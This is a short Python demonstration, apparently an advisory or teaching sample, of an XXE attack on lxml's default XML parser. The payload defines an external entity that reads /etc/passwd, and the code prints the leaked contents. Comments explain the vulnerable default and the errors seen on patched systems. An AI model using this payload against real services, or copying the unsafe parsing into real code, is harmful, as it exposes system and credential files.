Vulnerable code sample

from lxml import etree

# This malicious XML payload defines an external entity ("xxe") that points
# to a local file. In this case, it targets '/etc/passwd', a common
# target for demonstrating XXE (XML External Entity) attacks.
malicious_xml = b"""<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<data>
  <item>&xxe;</item>
</data>
"""

# In versions of lxml vulnerable to this issue, the default XMLParser
# had 'resolve_entities' set to True. Calling `fromstring` without a
# specially configured parser would use these vulnerable defaults.
# This would cause the parser to read the content of the file specified
# in the DTD and embed it into the XML tree.
try:
    root = etree.fromstring(malicious_xml)

    # If the attack is successful, the text content of the 'item' element
    # will be the content of the '/etc/passwd' file.
    file_content = root.find('item').text
    print(file_content)

except etree.XMLSyntaxError as e:
    # On a patched system, or a system without the file, an error is raised.
    # The error message itself often indicates that external entity loading is disabled.
    print(f"Parsing failed (as expected on a secure system): {e}")
except IOError as e:
    # This error might occur if the file doesn't exist (e.g., on Windows).
    print(f"File not found (as expected on non-Linux systems): {e}")